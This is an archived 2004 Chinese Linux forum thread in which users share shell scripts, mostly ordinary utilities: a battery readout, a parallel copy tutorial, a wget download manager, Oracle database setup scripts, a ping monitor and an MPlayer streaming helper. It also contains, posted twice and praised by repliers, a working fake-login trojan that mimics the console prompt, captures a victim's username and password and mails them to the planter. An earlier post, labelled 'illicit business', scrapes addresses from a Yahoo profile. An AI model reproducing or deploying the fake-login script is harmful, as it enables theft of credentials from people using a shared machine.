LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
楼主: KornLee

【shell脚本欣赏区】:[展示你的作品的好去处!欢迎投帖]

[复制链接]
发表于 2004-3-13 16:33:46 | 显示全部楼层

两个single line script

看本本电池:

  1. dialog --infobox "battery:`sed 's/.*\(..\)\%.*/\1/' </proc/apm`%" 3 17
复制代码

不法勾当:

  1. curl [url]http://profiles.yahoo.com/beijing13579[/url] 2>/dev/null|sed -n 's/.*"\(https:\/\/[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*\)".*/\1/p'
复制代码
发表于 2004-4-8 23:09:24 | 显示全部楼层

一个Bash的综合教学实例[协同程序, eval, awk关联数组]

作者:home_king
实现把文件并行拷贝到多个路径下的功能。
知识点:
1. 使用了"协同程序",是拷贝进程并行化
2. 使用eval来实现变量的"间接扩充"
3. 使用awk的关联数组来剔除"文件当前路径"以及"重复路径",以避免拷贝并行化可能引起的"系统颠簸"甚至"拷贝错误"
4. 使用了stat获取目录inode,以判定路径的唯一性(不同的路径名可能指向同一个物理路径,如~, /root, /root/Desktop/../,又如~user, /home/user)

  1. #!/bin/sh
  2. #
  3. # mcp---Multiple copy with Co-Process
  4. #
  5. checkargs(){
  6.         if [ $# -eq 0 ];then
  7.                 echo 'No arguments supplied!'
  8.                 return 1
  9.         fi
  10.         cpfile=$1
  11.         if [ ! -f $cpfile ]; then
  12.                 echo 'Invaild file to copy!'
  13.                 return 1
  14.         fi
  15.         shift
  16.         for tmparg in "$@"; do
  17.                 if [ ! -d $tmparg ];then
  18.                         echo "There's at least one invalid directory"
  19.                         return 1
  20.                 fi
  21.         done
  22.         argnums=($(echo $(stat -Lc %i $@) | awk -v inum=$(stat -c %i $PWD) '{for(i=1;i<=NF;i++){if($i == inum)continue;ldirs[$i]=i}} END{for(item in ldirs){print ldirs[item]}}'))
  23. }

  24. checkargs $@
  25. [ $? -eq 0 ] || exit 1
  26. shift

  27. echo "Destination:"
  28. for arg in "${argnums[@]}"; do
  29.         eval echo '$'$arg
  30.         eval cp -f $cpfile '$'$arg &
  31. done
  32. wait
  33. echo ""
  34. echo 'All done!'
复制代码


就这个例子,我们来对比一下并行化与非并行化的效率:
该脚本:

  1. [root@home root]# time ./mcp-1.0 perl1 /tmp ~home_king /home/home_king/ ~ /root
  2. Destination:
  3. /home/home_king/
  4. /tmp

  5. All done!

  6. real    0m0.110s
  7. user    0m0.010s
  8. sys     0m0.050s
复制代码

该脚本的普通拷贝(非并行化)版本(去除&以及wait):

  1. [root@home root]# time ./scp perl1 /tmp ~home_king /home/home_king/ ~ /root
  2. Destination:
  3. /home/home_king/
  4. /tmp

  5. All done!

  6. real    0m0.099s
  7. user    0m0.010s
  8. sys     0m0.040s
复制代码


可见,在单CPU的机器上,"协同程序"带来的效率提升较小,甚至会降低原有的效率!

引用《Learning the Bash shell》的一段话来结尾:

粗略地说,可以以三种方式总结一个进程使用系统资源地特性:是否为CPU密集型的(即进行频繁的CPU计算),I/O密集型的(进行频繁的写磁盘操作)或交互式的(需要用户交互)。
--------quote-START----------
对两个或多个不同种类的进程,进程越多同时运行它们就越有好处。例如,在和一个长的,I/O操作频繁的数据库查询同时运行时,一个数值统计计算的作业会很有效率。
另一方面,如果两个进程以类似方式使用资源,则同时运行它们比按次序运行它们效率差一些。原因是在该条件下,操作系统经常需要按时间片抢夺资源。
例如,如果两个进程都进行频繁的磁盘操作,操作系统会进入一个模式,在两个竞争的进程之间会不断地来回切换对磁盘的控制权。系统进行切换操作的时间至少会和它处理进程本身操作的时间一样长。该现象称为系统颠簸(thrashing),最严重时,会使系统处于一个虚拟停顿状态。系统颠簸是一个常见问题,系统管理员和操作系统设计者会花费很多时间试图使其最小化。
---------quote-END-----------
发表于 2004-5-10 00:42:09 | 显示全部楼层

一个X下用来确认关机的脚本

作者:cobranail
用于对小型的wm比如twm,5dwm等关机确认
用到了xconfirm程序

源码:
=========================================
#!/bin/csh -f
xconfirm -B ok -B Resume -t 'Power OFF!'>&/var/tmp/XCONFIRMS
set XCONFIRMS = `cat /var/tmp/XCONFIRMS |egrep Continue `
switch ("$XCONFIRMS")
        case Continue:
                rm /var/tmp/XCONFIRMS
                exec "poweroff"
                breaksw
        case Resume:
                rm /var/tmp/XCONFIRMS
                breaksw
default:       
                breaksw
endsw
========================================
发表于 2004-5-18 18:46:56 | 显示全部楼层
wget下载管理脚本
作者:home_king

用法:
wgetscript list #list是下载列表

功能(特色):
1.利用了wget的断点续传功能
由于下载过程中,可能由于某种原因而中断下载过程,例如碰到一个死链接,下载了部分就停止了响应,这时候按Ctrl+C退出,wget会自动生成文件而忽略文件的完整性。
2.消除中断后续载的重复冗余项
比如说*.wget中出现了一个死链接而没有下载该源码包,修正*.wget的内容后,再运行脚本,将只下载上次没有成功下载的源码包,而无须重新下载所有源码包,如果下载内容很多的话,该脚本的方便性就体现出来了;再比如说,如果要多下载一个补丁,把该url添加到*.wget后,再运行脚本,则只下载新添加的补丁;如果没有所有源码包都已下载,该脚本无动作。
3.在下载完毕后,会列出那些出现死链接的源码包以便修正

  1. # Wget Script with history-logged feature.
  2. # Written by home_king <home_king@163.com>

  3. wget_list=$1
  4.                                                                                 
  5. if [ -n "$wget_list" ] && [ -e "$wget_list" ];then
  6.         rm -f Error.log
  7.         for i in `grep -E '^*tp://' "$wget_list"`; do
  8.                 if [ -n $i ] && [ ! -e ${i##*/} ] || [ -e "${i##*/}.part" ]; then
  9.                         wget -c $i -O "${i##*/}.part" && \
  10.                         mv "${i##*/}.part" ${i##*/}
  11.                         [ $? -gt 0 ] && echo "${i##*/}" >> Error.log
  12.                 fi
  13.         done
  14.         [ -e Error.log ] && \
  15.         echo "Unable to download below packages with wrong urls:" && \
  16.         cat Error.log && \
  17.         echo "Also see Error.log in detail."
  18. fi
复制代码
 楼主| 发表于 2004-5-29 19:41:04 | 显示全部楼层

创建数据库的UNIX SHELL 脚本 [转]

脚本一:newapp1.sh

  1. #!/bin/sh
  2. ORACLE_SID=app1
  3. export ORACLE_SID
  4. /opt/oracle/product/8.1.7/bin/svrmgrl << EOF
  5. spool /opt/oracle/product/8.1.7/install/crdb1.log
  6. connect internal
  7. startup nomount pfile = /www1/oradata/admin/newapp1/pfile/initapp1.ora
  8. CREATE DATABASE "app1"
  9. controlfile reuse
  10. maxdatafiles 500
  11. maxinstances 8
  12. maxlogfiles 32
  13. character set ZHS16GBK
  14. national character set ZHS16GBK
  15. DATAFILE '/oradata/app1/system01.dbf' SIZE 200M
  16. logfile group 1 ('/opt/oracle/oradata/app1/app1_redo01.log',
  17. '/oradata/app1/app1_redo01.log') SIZE 20M,
  18. group 2 ('/opt/oracle/oradata/app1/app1_redo02.log',
  19. '/oradata/app1/app1_redo02.log') SIZE 20M,
  20. group 3 ('/opt/oracle/oradata/app1/app1_redo03.log',
  21. '/oradata/app1/app1_redo03.log') SIZE 20M;
  22. disconnect
  23. spool off
  24. exit
  25. EOF
复制代码

脚本二:newapp2.sh

  1. #!/bin/sh
  2. ORACLE_SID=app1
  3. export ORACLE_SID

  4. /opt/oracle/product/8.1.7/bin/svrmgrl << EOF
  5. spool /opt/oracle/product/8.1.7/install/crdb2.log
  6. connect internal
  7. @/opt/oracle/product/8.1.7/rdbms/admin/catalog.sql;
  8. CREATE ROLLBACK SEGMENT r0 TABLESPACE SYSTEM
  9. STORAGE (INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS 20);
  10. ALTER ROLLBACK SEGMENT r0 ONLINE;

  11. REM ************ TABLESPACE FOR OEM_REPOSITORY ***************
  12. CREATE TABLESPACE OEM_REPOSITORY DATAFILE '/oradata/app1/oemrep01.dbf' SIZE 5M REUSE
  13. AUTOEXTEND ON NEXT 25M MAXSIZE 80M
  14. MINIMUM EXTENT 128k
  15. DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 1 MAXEXTENTS UNLIMITED PCTINCREASE 0);

  16. REM ************** TABLESPACE FOR ROLLBACK *****************
  17. CREATE TABLESPACE RBS DATAFILE '/oradata/app1/rbs01.dbf' SIZE 200M REUSE
  18. DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED PCTINCREASE 0);

  19. REM ************** TABLESPACE FOR TEMPORARY *****************
  20. CREATE TABLESPACE TEMP DATAFILE '/oradata/app1/temp01.dbf' SIZE 200M REUSE
  21. DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED PCTINCREASE 0) TEMPORARY;

  22. REM ************** TABLESPACE FOR USER *********************
  23. CREATE TABLESPACE USERS DATAFILE '/oradata/app1/users01.dbf' SIZE 50M REUSE
  24. DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 1 MAXEXTENTS UNLIMITED PCTINCREASE 0);

  25. REM ************** TABLESPACE FOR INDEX *********************
  26. CREATE TABLESPACE INDX DATAFILE '/oradata/app1/indx01.dbf' SIZE 50M REUSE
  27. DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 1 MAXEXTENTS UNLIMITED PCTINCREASE 0);

  28. REM **** Creating four rollback segments ****************add rollback segment to 20***
  29. CREATE ROLLBACK SEGMENT r01 TABLESPACE RBS
  30. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  31. CREATE ROLLBACK SEGMENT r02 TABLESPACE RBS
  32. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  33. CREATE ROLLBACK SEGMENT r03 TABLESPACE RBS
  34. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  35. CREATE ROLLBACK SEGMENT r04 TABLESPACE RBS
  36. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  37. CREATE ROLLBACK SEGMENT r05 TABLESPACE RBS
  38. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  39. CREATE ROLLBACK SEGMENT r06 TABLESPACE RBS
  40. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  41. CREATE ROLLBACK SEGMENT r07 TABLESPACE RBS
  42. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  43. CREATE ROLLBACK SEGMENT r08 TABLESPACE RBS
  44. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  45. CREATE ROLLBACK SEGMENT r09 TABLESPACE RBS
  46. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  47. CREATE ROLLBACK SEGMENT r10 TABLESPACE RBS
  48. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  49. CREATE ROLLBACK SEGMENT r11 TABLESPACE RBS
  50. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  51. CREATE ROLLBACK SEGMENT r12 TABLESPACE RBS
  52. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  53. CREATE ROLLBACK SEGMENT r13 TABLESPACE RBS
  54. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  55. CREATE ROLLBACK SEGMENT r14 TABLESPACE RBS
  56. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  57. CREATE ROLLBACK SEGMENT r15 TABLESPACE RBS
  58. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  59. CREATE ROLLBACK SEGMENT r16 TABLESPACE RBS
  60. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  61. CREATE ROLLBACK SEGMENT r17 TABLESPACE RBS
  62. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  63. CREATE ROLLBACK SEGMENT r18 TABLESPACE RBS
  64. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  65. CREATE ROLLBACK SEGMENT r19 TABLESPACE RBS
  66. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);

  67. CREATE ROLLBACK SEGMENT r20 TABLESPACE RBS
  68. STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K);


  69. ALTER ROLLBACK SEGMENT r01 ONLINE;
  70. ALTER ROLLBACK SEGMENT r02 ONLINE;
  71. ALTER ROLLBACK SEGMENT r03 ONLINE;
  72. ALTER ROLLBACK SEGMENT r04 ONLINE;
  73. ALTER ROLLBACK SEGMENT r05 ONLINE;
  74. ALTER ROLLBACK SEGMENT r06 ONLINE;
  75. ALTER ROLLBACK SEGMENT r07 ONLINE;
  76. ALTER ROLLBACK SEGMENT r08 ONLINE;
  77. ALTER ROLLBACK SEGMENT r09 ONLINE;
  78. ALTER ROLLBACK SEGMENT r10 ONLINE;
  79. ALTER ROLLBACK SEGMENT r11 ONLINE;
  80. ALTER ROLLBACK SEGMENT r12 ONLINE;
  81. ALTER ROLLBACK SEGMENT r13 ONLINE;
  82. ALTER ROLLBACK SEGMENT r14 ONLINE;
  83. ALTER ROLLBACK SEGMENT r15 ONLINE;
  84. ALTER ROLLBACK SEGMENT r16 ONLINE;
  85. ALTER ROLLBACK SEGMENT r17 ONLINE;
  86. ALTER ROLLBACK SEGMENT r18 ONLINE;
  87. ALTER ROLLBACK SEGMENT r19 ONLINE;
  88. ALTER ROLLBACK SEGMENT r20 ONLINE;

  89. ALTER ROLLBACK SEGMENT r0 OFFLINE;

  90. REM **** SYS and SYSTEM users ****************
  91. alter user sys temporary tablespace TEMP;
  92. alter user system temporary tablespace TEMP;
  93. disconnect
  94. spool off
  95. exit


  96. EOF
复制代码


脚本三:newapp3.sh
[code]

#!/bin/sh
ORACLE_SID=app1
export ORACLE_SID

/opt/oracle/product/8.1.7/bin/svrmgrl << EOF
spool /opt/oracle/product/8.1.7/install/crdb3.log
connect internal
@/opt/oracle/product/8.1.7/rdbms/admin/catproc.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/caths.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/otrcsvr.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/catexp.sql;

@/opt/oracle/product/8.1.7/rdbms/admin/catdbsyn.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/catdefer.sql;

@/opt/oracle/product/8.1.7/rdbms/admin/catrep.sql;

@/opt/oracle/product/8.1.7/rdbms/admin/dbmspool.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/catparr.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/catblock.sql;

connect system/manager
@/opt/oracle/product/8.1.7/sqlplus/admin/pupbld.sql;

--create the product_profile and user_profile

--CATALOG.SQL, ---加载数据库本身的数据字典视图
--CATPROC.SQL, ---加载PL/SQL使用的PACKAGE
--CATEXP.SQL ---加载EXPORT/IMPORT工具使用的数据字典

disconnect
spool off
exit

EOF


转自: http://www.dbonline.cn/source/oracl...%20database.htm
 楼主| 发表于 2004-6-12 00:55:43 | 显示全部楼层

让你用ping时显示结果象cisco中一样,并在丢包时报警!

特别感谢作者: gao_linfeng兄[php]
#!/bin/bash
n=1
while ((n<=$2)) ; do
ping -c 1  $1 >/dev/null
case $? in
0) echo -n '!' ;;
1) echo -n '.' && echo -ne "\a" ;;
*) exit ;;
esac
((n+=1))
done
echo
[/php]
将上面的脚本存成文件,比如保存名为pingg的文件中,并给于执行权限,那么我们可以打pingg www.163.com 10 这样大家可以看看执行结果,但要记住必须是这样的格式,当你ping丢包时他还可以报警。

例 如 pingg www.yahoo.com 20
!!!!!!!!.!!!!!!!!!.!
发表于 2004-6-16 01:30:16 | 显示全部楼层

一个批量更改文件后缀名的shell

看到前面有一个类似功能的shell,只是觉得有些长,这个是我从Gaussian的说明书中看到的,大致更改了一下。
#! /bin/tcsh
foreach name(*.jpeg)
        mv $name $name:r.jpg
        echo $name "    -->     " $name:r.jpg
end
发表于 2004-6-16 15:48:58 | 显示全部楼层

回复: 一个盗取别人passwd的shell脚本

最初由 javalee 发表
特别感谢作者:ghostwalker兄

  1. #! /bin/sh

  2. clear
  3. cat /etc/issue
  4. echo -n "login: "
  5. read login
  6. echo -n "Password: "
  7. stty -echo
  8. read passwd
  9. stty sane
  10. mail $USER <<- fin
  11. login: $login
  12. passwd: $passwd
  13. fin
  14. echo "Login incorrect"
  15. sleep 1
  16. logout
复制代码



真他老老的狡猾的!哈哈!

谁写的啊?真聪明啊!
发表于 2004-7-7 19:29:32 | 显示全部楼层

回复: 一个盗取别人passwd的shell脚本

最初由 KornLee 发表
特别感谢作者:ghostwalker兄

  1. #! /bin/sh

  2. clear
  3. cat /etc/issue
  4. echo -n "login: "
  5. read login
  6. echo -n "Password: "
  7. stty -echo
  8. read passwd
  9. stty sane
  10. mail $USER <<- fin
  11. login: $login
  12. passwd: $passwd
  13. fin
  14. echo "Login incorrect"
  15. sleep 1
  16. logout
复制代码


请问这段代码具体有何用??怎样盗用密码??请高手解释一下,谢谢。
发表于 2004-7-18 17:02:33 | 显示全部楼层
一个使用MPlayer播放/下载BBN在线电影的脚本;播放分128k/300k/clips,
播放比率输入750k下载,下载保存在~/Mydownload/;如果不当时下载,地址保存到~/Mydownload/download.list;播放过程中按q,退出播放,继续下一个地址,
Ctrl+C退出。

  1. #!/bin/sh
  2. # 这个脚本用来播放北京宽带网视频花园的在线电影
  3. # 方法很菜,但是我还是很有成就感的 ^_^
  4. # 请高手不吝赐教!
  5. play_clips()
  6. {
  7.         wget $page_addr -O temp_file
  8.         grep clips temp_file|tr '"' '\n'|grep clips|awk -F"'" '{print $2}'|awk  \
  9. 'BEGIN{bbn="http://media.bbn.com.cn/zxyy/"}{print bbn""$0}'>temp_file2; \
  10. rm temp_file
  11.         wget `cat temp_file2` -O temp_file3;rm temp_file2
  12.         cat temp_file3|grep SRC|tr '"' '\n'|grep http>temp_file4;rm temp_file3
  13.         wget `cat temp_file4` -O temp_file5;rm temp_file4
  14.         cat temp_file5|grep http
  15.         if [ $? = 0 ]
  16.         then
  17.                 cat temp_file5|tr '"' '\n'|grep http>clips_list;rm temp_file5
  18.                 mplayer -playlist clips_list;rm clips_list
  19.         else
  20.                 cat temp_file5|tr '"' '\n'|grep rtsp>clips_list;rm temp_file5
  21.                 mplayer -playlist clips_list;rm clips_list
  22.         fi
  23. }
  24. echo "==================================================="
  25. echo "         使用此脚本下载/播放北京宽带网在线电影"
  26. echo "  方法:找到在线电影的介绍页面,将该页的的地址复制"
  27. echo "       粘贴到下面的输入位置,按回车即可"
  28. echo "  使用前提:"
  29. echo "       1,使用北京通信公司的adsl上网"
  30. echo "       2,系统里安装了MPlayer"
  31. echo "  通过此脚本,你可以:"
  32. echo "       1,在线播放电影"
  33. echo "         选择播放比率,选项1:128k/2:300k/3:clips"
  34. echo "       2,下载/获得下载地址,仅限BBN用户"
  35. echo "==================================================="
  36. trap "echo You are quitting now!;exit" 2
  37. while true
  38. do
  39. echo
  40. echo "  输入播放页面地址: "
  41. read page_addr
  42. echo
  43. echo "  输入播放选项:128k 300k 750k clips"
  44. read rate
  45. echo
  46. case $rate
  47.         in
  48.         128k) rate=128k;;
  49.         300k) rate=300k;;
  50.         750k) rate=750k;;
  51.         clips) play_clips;;
  52.         *)    echo "Invalid rate!";continue;;
  53. esac
  54. wget $page_addr -O temp_file1
  55. grep "play_rate" ./temp_file1|grep "$rate"|tr '"' '\n'|grep "play_rate=$rate"| \
  56. cut -d "(" -f2 |sed 's/\(..$\)//'|sed 's/\(^.\)//'>temp_file2;rm temp_file1
  57. if [ $rate = 750k ]
  58. then
  59.         link_addr1="http://media.bbn.com.cn/zxyy/`cat temp_file2`";rm temp_file2
  60. else
  61.         link_addr1="http://media.bbn.com.cn`cat temp_file2`";rm temp_file2
  62. fi
  63. wget $link_addr1 -O link_addr2;unset link_addr1
  64. if [ $rate = 750k ]
  65. then
  66.         cat link_addr2|grep "ftp"|tr '"' '\n'|grep "ftp" > link_addr3;rm link_addr2
  67.         echo "Do you want to download now?"
  68.         read action
  69.         case $action
  70.         in
  71.         [Yy]) echo "Download Now!";wget `cat link_addr3` -O /mnt/WinE/download_film && rm link_addr3;;
  72.         [Nn]) echo "Download Later!";cat link_addr3;rm link_addr3;continue;;
  73.         esac
  74. else
  75.         cat link_addr2|grep "SRC" > link_addr3;rm link_addr2
  76.         wget `cat link_addr3|tr '"' '\n'|grep ^http` -O link_addr4;rm link_addr3
  77.         cat link_addr4|tr '"' '\n'|grep ^rtsp > real_addr;rm link_addr4
  78.         mplayer -playlist real_addr;rm real_addr
  79. fi
  80. done
复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表